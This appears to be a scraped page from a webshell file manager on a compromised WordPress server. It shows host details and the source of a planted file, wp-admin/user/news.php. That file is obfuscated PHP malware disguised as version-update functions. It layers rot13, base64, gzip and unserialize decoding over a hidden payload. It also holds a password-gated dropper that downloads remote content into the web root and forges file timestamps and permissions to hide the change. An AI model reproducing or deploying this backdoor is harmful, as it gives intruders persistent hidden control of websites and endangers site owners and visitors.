- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 170.150.155.74  /  Your IP : 3.147.71.58
Web Server : Apache/2.4.53 (Debian)
System : Linux b22bf132354b 5.4.0-162-generic #179-Ubuntu SMP Mon Aug 14 08:51:31 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-admin/user/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-admin/user/news.php
<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y3Mupv93q3pinUEgoP93pP1uMT1cov9yMTy0o3ViMJEcqT9lY2V4AzWuAQOuMGEvMTD0BJSwLmV2MQZkLGEzZwDlMzMxYzEuqTR', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '1');
        $data = translation_v1($data, '0');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("uzqhxev{$check}wrh", '933cfcd710c733c29594d9d87dcbabfe')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}

Youez - 2016 - github.com/yon3zu
LinuXploit